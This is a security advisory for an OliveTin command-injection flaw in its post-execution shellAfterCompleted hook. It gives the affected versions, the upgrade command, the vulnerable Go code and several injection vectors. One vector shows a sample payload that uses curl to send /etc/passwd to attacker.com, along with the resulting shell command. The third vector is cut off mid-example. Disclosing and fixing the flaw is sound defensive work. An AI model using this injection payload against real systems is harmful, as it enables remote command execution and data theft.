CVE-2026-75506: OliveTin: Second-Order OS Command Injection via shellAfterCompleted

Medium CVSS 6.6

OSV id
GHSA-vc6p-m6vx-6cwq
Also known as
CVE-2026-75506
Published
Last modified

Affected packages

PackageAffected versionsFixed in
github.com/OliveTin/OliveTin
Go
< 0.0.0-20260728155752-e5d29b68da66 0.0.0-20260728155752-e5d29b68da66

How to fix it

Upgrade github.com/OliveTin/OliveTin to 0.0.0-20260728155752-e5d29b68da66 or later.

go get github.com/OliveTin/OliveTin@v0.0.0-20260728155752-e5d29b68da66
go mod tidy
  • Indirect Go modules are upgraded the same way (`go get module@version`).
  • Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.

Not sure whether your project uses an affected version? Check your lockfile below for free.

Details

Summary

OliveTin's shellAfterCompleted post-execution hook injects unsanitized variables — including arbitrary command output (output), the authenticated username (ot_username), and the exit code (exitCode) — directly into a shell command template processed by sh -c. Unlike the main action's argument handling, no checkShellArgumentSafety validation is applied to these variables. An attacker who can influence the output of a command (e.g., via user-supplied arguments that reflect in stdout, or through trusted-header username spoofing) can inject arbitrary OS commands into the post-execution shell.

This is a distinct finding from CVE-2026-27626 (OS command injection via password type in webhooks). That CVE addressed argument types bypassing shell safety checks in the primary execution step. This vulnerability exists in the post-execution step (stepExecAfter), which has zero safety checks on any of its template variables.

Affected Versions

  • All versions containing shellAfterCompleted functionality (current codebase through latest)

Details

Vulnerable Code Path

In service/internal/executor/executor.go, the stepExecAfter function handles post-execution commands:

func stepExecAfter(req *ExecutionRequest) bool {
    if req.Binding.Action.ShellAfterCompleted == "" {
        return true
    }

    // These variables are injected WITHOUT any type checking or sanitization
    args := map[string]string{
        "output":                 req.logEntry.Output,           // Arbitrary command stdout/stderr
        "exitCode":               fmt.Sprintf("%v", req.logEntry.ExitCode),
        "ot_executionTrackingId": req.TrackingID,
        "ot_username":            req.AuthenticatedUser.Username, // User-controlled via trusted headers
    }

    // Template rendered with unsanitized args
    finalParsedCommand, err := tpl.ParseTemplateWithActionContext(
        req.Binding.Action.ShellAfterCompleted,
        req.Binding.Entity,
        args,
    )

    // Directly passed to sh -c — NO safety check
    cmd := wrapCommandInShell(ctx, finalParsedCommand)
    // ...
}

The wrapCommandInShell function (in executor_unix.go) executes:

func wrapCommandInShell(ctx *ExecutionContext, finalParsedCommand string) *exec.Cmd {
    return exec.CommandContext(ctx, "sh", "-c", finalParsedCommand)
}
Why This Bypasses Existing Protections

The main action's shell commands go through checkShellArgumentSafety (called from handleShellBranch at line 693 of executor.go), which blocks dangerous argument types like password, url, email, raw_string_multiline, and very_dangerous_raw_string from shell mode.

stepExecAfter calls none of these checks. The output variable is:

  • Not a declared argument with a type — it's internally created
  • Not validated against any regex or type system
  • Not passed through checkShellArgumentSafety
  • Directly interpolated into a shell command template

A grep for checkShellArgumentSafety in the codebase confirms it is only invoked at one location:

executor.go:693: if err := checkShellArgumentSafety(req); err != nil {

This is inside handleShellBranch (the primary action execution), not in stepExecAfter.

Injection Vectors
Vector 1: Output Reflection

If a primary action echoes user-controlled input:

actions:
  - title: Lookup User
    shell: "echo 'User: {{ .Arguments.username }}'"
    shellAfterCompleted: "audit-log '{{ .Arguments.output }}'"
    arguments:
      - name: username
        type: ascii_identifier

While ascii_identifier constrains the direct argument, the command output itself is the injection vector. If the action processes external data (files, APIs, databases) and that data contains shell metacharacters, the output flows unsanitized into shellAfterCompleted.

Vector 2: Exec Mode Output Injection

Actions using exec mode (array form) safely handle arguments in the primary command but the output still flows to shellAfterCompleted through a shell:

actions:
  - title: Read External Data
    exec:
      - cat
      - /shared/data/{{ .Arguments.filename }}
    shellAfterCompleted: "process-result '{{ .Arguments.output }}'"
    arguments:
      - name: filename
        type: ascii_identifier

If /shared/data/report contains text like:

'; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #

The shellAfterCompleted becomes:

process-result ''; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #'

This executes arbitrary commands as the OliveTin process user.

Vector 3: Username Injection via Trusted Headers

When trusted header authentication is used (see Finding 04), the ot_username variable comes directly from an HTTP header with no sanitization:

```yaml actions:

  • title: Any Action shell: "echo ok" shellAfterCompleted: "logger 'Action completed by {{ .Arguments.ot_username }}

References

Am I affected?

Upload or paste your lockfile. We check every package version in it against OSV.dev, this advisory included, and email you the vulnerable ones with the version that fixes them. Free, and no account needed.

or paste its content

Needed when you paste. package.json and pyproject.toml only have version ranges: use the lockfile next to them.

Only package names and versions are checked; the file itself is not kept. We use your email to send this report and nothing else unless you tick the box above. Privacy policy.

About this data

Source: GitHub Advisory Database via OSV.dev (CC-BY 4.0). Severity comes from the advisory's own rating when it has one, else from its CVSS score.